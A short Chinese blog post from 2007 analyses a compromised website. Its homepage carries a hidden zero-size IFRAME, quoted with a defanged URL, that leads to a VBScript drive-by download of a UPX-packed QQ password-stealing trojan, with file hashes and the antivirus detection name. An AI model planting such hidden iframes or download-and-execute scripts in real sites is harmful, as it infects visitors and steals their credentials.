endurer 原创
2007-01-30 第1版
该网站首页被加入代码：/-------＜IFRAME src="hxxp://***.v**1*8***0.net/qq/" frameBorder=0 width=0 height=0＞＜/IFRAME＞-------/
打开该URL，没有显示内容，但网页中的VBScript代码会利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 qq.exe，保存为 %temp%/svchost.exe 和 %temp%/svchost.vbs，然后利用Shell.Application 对象Q 的 ShellExecute 方法 来运行。
qq.exe 采用 UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo 加壳。/-------文件说明符 : D:/test/qq.exe属性 : A---获取文件版本信息大小失败!创建时间 : 2007-1-30 20:28:33修改时间 : 2007-1-30 20:28:33访问时间 : 2007-1-30 20:32:49大小 : 33182 字节 32.414 KBMD5 : 2cb2c796f777cff18ed2bfcf06abad61-------/
瑞星报为：Trojan.PSW.QQPass.rie瑞星升级报告：19.06.21版新增337个可查杀病毒http://it.rising.com.cn/Channels/Anti_Virus/Upgrade_Report/2007-01-17/1169011706d39989.shtml第19位。
